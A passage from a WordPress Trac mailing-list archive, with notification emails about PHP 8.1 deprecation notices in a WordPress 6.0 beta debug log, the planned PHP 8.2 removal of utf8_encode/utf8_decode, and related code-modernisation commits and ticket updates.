#[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Cookie/Jar.php on line 111 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should > either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, > or the #[\ReturnTypeWillChange] attribute should be used to temporarily > suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either > be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) > should either be compatible with ArrayAccess::offsetSet(mixed $offset, > mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be > used to temporarily suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should > either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, > or the #[\ReturnTypeWillChange] attribute should be used to temporarily > suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::getIterator() should either > be compatible with IteratorAggregate::getIterator(): Traversable, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should > either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, > or the #[\ReturnTypeWillChange] attribute should be used to temporarily > suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either > be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) > should either be compatible with ArrayAccess::offsetSet(mixed $offset, > mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be > used to temporarily suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should > either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, > or the #[\ReturnTypeWillChange] attribute should be used to temporarily > suppress the notice in > /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 > [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of > Requests_Utility_CaseInsensitiveDictionary::getIterator() should either > be compatible with IteratorAggregate::getIterator(): Traversable, or the > #[\ReturnTypeWillChange] attribute should be used to temporarily suppress > the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- > includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 New description: on my development site (Plesk Obsidian, Centos 7.9) a fresh installed latest WP 6.0 beta2 does create a lot of errors when switching from PHP 8.0.18 (error free) to PHP 8.1.5. See attached debug.log created during first login as admin. Chris PS: no answer required {{{ [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 63 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 73 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 89 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 102 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 111 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: http_build_query(): Passing null to parameter #2 ($numeric_prefix) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Transport/cURL.php on line 345 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp-admin/admin- header.php on line 9 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: setcookie(): Passing null to parameter #5 ($domain) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/option.php on line 1111 [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/option.php on line 1111 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: setcookie(): Passing null to parameter #5 ($domain) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/option.php on line 1112 [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/option.php on line 1112 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 63 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 73 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 89 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 102 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 111 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: http_build_query(): Passing null to parameter #2 ($numeric_prefix) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Transport/cURL.php on line 530 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 63 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 73 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 89 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 102 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 111 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 }}} -- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55598#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 20:48:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 20:48:43 -0000 Subject: [wp-trac] [WordPress Trac] #55586: `get_block_wrapper_attributes` generates PHP notices. In-Reply-To: <056.0646897008a487336c6eaf1095b8fe69@wordpress.org> References: <056.0646897008a487336c6eaf1095b8fe69@wordpress.org> Message-ID: <071.86e0f6f40edb101d16b39df462009ee9@wordpress.org> #55586: `get_block_wrapper_attributes` generates PHP notices. --------------------------+------------------------------ Reporter: jmichaelward | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6 Severity: normal | Resolution: Keywords: dev-feedback | Focuses: --------------------------+------------------------------ Changes (by costdev): * keywords: => dev-feedback * version: => 5.6 * component: General => Editor Comment: Hi @jmichaelward, thanks for opening this ticket! I can confirm that this issue occurs going back to WordPress 5.6 when `get_block_wrapper_attributes()` was introduced. Adding `dev-feedback` to get other opinions on the path forward. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55586#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 20:51:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 20:51:22 -0000 Subject: [wp-trac] [WordPress Trac] #55558: Hide/show password on new user, missaligned In-Reply-To: <050.98a6c24e258174e1dd84e2ee0d61f68b@wordpress.org> References: <050.98a6c24e258174e1dd84e2ee0d61f68b@wordpress.org> Message-ID: <065.d85714f88e6f33301c7a9bff275544a1@wordpress.org> #55558: Hide/show password on new user, missaligned ---------------------------------------+--------------------- Reporter: kebbet | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Users | Version: 5.2 Severity: minor | Resolution: Keywords: has-screenshots has-patch | Focuses: css ---------------------------------------+--------------------- Changes (by costdev): * version: => 5.2 * milestone: Awaiting Review => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55558#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 20:54:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 20:54:28 -0000 Subject: [wp-trac] [WordPress Trac] #55603: PHP 8.2: address deprecation of the utf8_encode() and utf8_decode() functions In-Reply-To: <047.30dfe57000d1e696e2fc5d4726295b61@wordpress.org> References: <047.30dfe57000d1e696e2fc5d4726295b61@wordpress.org> Message-ID: <062.5a0605226e66aca37c863dfd22fa6edd@wordpress.org> #55603: PHP 8.2: address deprecation of the utf8_encode() and utf8_decode() functions -------------------------------------+------------------------------- Reporter: jrf | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.1 Component: General | Version: trunk Severity: normal | Resolution: Keywords: 2nd-opinion early php82 | Focuses: coding-standards -------------------------------------+------------------------------- Comment (by SergeyBiryukov): Thanks for the ticket! For option 2, I think we'd need to also check the required PHP modules during installation, to avoid fatal errors. As far as I can tell, marking a module as required in Site Health displays a warning on existing sites if the module is unavailable, but does not block the installation for new sites. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55603#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 21:03:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 21:03:28 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.5c6e013ea4706ea111162cb8ab1f6b41@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53240" 53240]: {{{ #!CommitTicketReference repository="" revision="53240" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/block-supports/border.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$default` parameter to `$default_value` in `wp_has_border_feature_support()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:40> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 21:12:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 21:12:28 -0000 Subject: [wp-trac] [WordPress Trac] #55603: PHP 8.2: address deprecation of the utf8_encode() and utf8_decode() functions In-Reply-To: <047.30dfe57000d1e696e2fc5d4726295b61@wordpress.org> References: <047.30dfe57000d1e696e2fc5d4726295b61@wordpress.org> Message-ID: <062.ce150b8e747713c1dc50fffc2e343bcd@wordpress.org> #55603: PHP 8.2: address deprecation of the utf8_encode() and utf8_decode() functions -------------------------------------+------------------------------- Reporter: jrf | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.1 Component: General | Version: trunk Severity: normal | Resolution: Keywords: 2nd-opinion early php82 | Focuses: coding-standards -------------------------------------+------------------------------- Old description: > == Context > > The [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode PHP RFC > to remove the `utf8_encode()` and `utf8_decode()` functions] from PHP in > PHP 9.0 has recently been accepted. > > This means in effect that as of PHP 8.2, those functions will be > deprecated and a deprecation notice will be thrown whenever they are > called. > > The reasoning behind the deprecation and removal is that these functions > are confusing and rarely used correctly. > > See the > [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode#usage Usage > section] of the RFC for an analysis of the various (mostly incorrect) > uses of the functions. > > == The Problem > > The > [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode#alternatives_to_removed_functionality > typical replacements for these functions] are using the > [https://www.php.net/manual/en/book.mbstring.php MBString extension] > and/or the [https://www.php.net/manual/en/book.iconv.php Iconv > extension]. > > As these extensions are both ''optional'' extensions in PHP, they cannot > be relied on to be available in an open source context. > > WordPress uses the `utf8_encode()` function a few times in the codebase: > * 1 x `utf8_encode()` in `src/wp-admin/includes/export.php` > * 2 x `utf8_encode()` in `src/wp-admin/includes/image.php` > * 1 x `utf8_encode()` in `tests/phpunit/tests/kses/php` > > Aside from that the external dependency > [https://github.com/JamesHeinrich/getID3 GetID3] also uses both these > functions a number of times. > > A search of the plugin and theme directory shows more worrying results > with a plenitude of matches: > * [https://wpdirectory.net/search/01G16P0SWHB37G2965MP8R4ZYK 11247 > matches in 3315 plugins], including 15 plugins with over a million > installs. > * [https://wpdirectory.net/search/01G16P2K39TQ538M9KRTVXT4CA 40 matches > in 22 themes]. > > == Options > > So, what are the options we have ? > > In my opinion, especially seeing how these functions are used so often in > plugins, there are only two realistic options: > > === 1. We could polyfill these functions. > > While some functions which may not be available are polyfilled by WP, > this is generally only done to have access to ''new'' PHP functionality > or to allow for using functions which require certain optional extensions > to be enabled. > > As far as I know, no PHP native function has ever been polyfilled due to > it being removed from PHP. > > **Pro**: > Relatively simple solution and everything keeps working (deprecation > notices will still show when running on PHP 8.x, though these could > silenced). > > **Con**: > As most uses of these functions are likely to be incorrect usage > (especially in plugins), these "bugs" will remain and not be reviewed or > addressed, undercutting the improvement PHP is trying to make. > > === 2. We could make the MbString (or the Iconv) extension a requirement > > At this moment, [https://core.trac.wordpress.org/browser/trunk/src/wp- > admin/includes/class-wp-site-health.php#L876 both the MbString as well as > the Iconv extension are recommended, but not required by WP]. > > A couple of MbString functions are also polyfilled in WP, so now might be > a good time to make the MbString extension a requirement for WP. > > **Pro**: > MbString being available will allow for fixing the deprecations in a > forward-compatible manner. It will also allow for other code improvements > to be made to improve WPs support for languages using non-latin based > scripts. > > **Con**: > A new requirement would be added to WP which should not be taken lightly. > At the same time, it should be noted that MbString is generally enabled > already anyway, so this will impact only a small percentage of users. > > ==== Why MbString instead of Iconv ? > > While both are included (though not enabled) by default with PHP, Iconv > [https://www.php.net/manual/en/iconv.requirements.php requires the > `libiconv` library], which may not be available, while MbString has > [https://www.php.net/manual/en/mbstring.requirements.php no external > dependencies]. > > MbString is [https://www.php.net/manual/en/mbstring.installation.php not > enabled by default in PHP], but generally ''is'' enabled in practice. > [https://www.php.net/manual/en/mbstring.installation.php Iconv is enabled > by default] in PHP, but can be disabled. > > Having said that, MbString offers much more functionality than the > limited functionality offered by Iconv and - as indicated by a number of > functions being polyfilled - is already in use in WP. > > Still, it would be helpful if someone with access to the underlying > statistics data collected by WP could add figures to this issue showing > how often either extension is enabled on systems running WP. > > == Recommendation > > I'd strongly recommend option 2, but would like to hear the opinions of > additional Core devs. > > == Action lists > > === General > > - [ ] Report the issue to GetID3 > > === Action list for option 1 > > - [ ] Polyfill the functions. > - [ ] Review the uses of the functions in WP Core anyhow to see if those > could/should be removed/the code using them should be refactored. > - [ ] Add a note about the polyfills in a dev-note with a recommendation > for plugin/theme authors to review their use of these functions anyhow. > > === Action list for option 2 > > - [ ] Change the MbString function from optional to required in the Site > Health component. > - [ ] Remove the current MbString related polyfills from the `compat.php` > file. > - [ ] Review the uses of the functions in WP Core and replace with more > appropriate alternatives. > - [ ] Add a note about the deprecation in the PHP 8.2 dev-note with a > recommendation for plugin/theme authors to review their use of these > functions and noting that the MbString extension can be relied upon to be > available (as of WP 6.1). New description: == Context The [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode PHP RFC to remove the `utf8_encode()` and `utf8_decode()` functions] from PHP in PHP 9.0 has recently been accepted. This means in effect that as of PHP 8.2, those functions will be deprecated and a deprecation notice will be thrown whenever they are called. The reasoning behind the deprecation and removal is that these functions are confusing and rarely used correctly. See the [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode#usage Usage section] of the RFC for an analysis of the various (mostly incorrect) uses of the functions. == The Problem The [https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode#alternatives_to_removed_functionality typical replacements for these functions] are using the [https://www.php.net/manual/en/book.mbstring.php MBString extension] and/or the [https://www.php.net/manual/en/book.iconv.php Iconv extension]. As these extensions are both ''optional'' extensions in PHP, they cannot be relied on to be available in an open source context. WordPress uses the 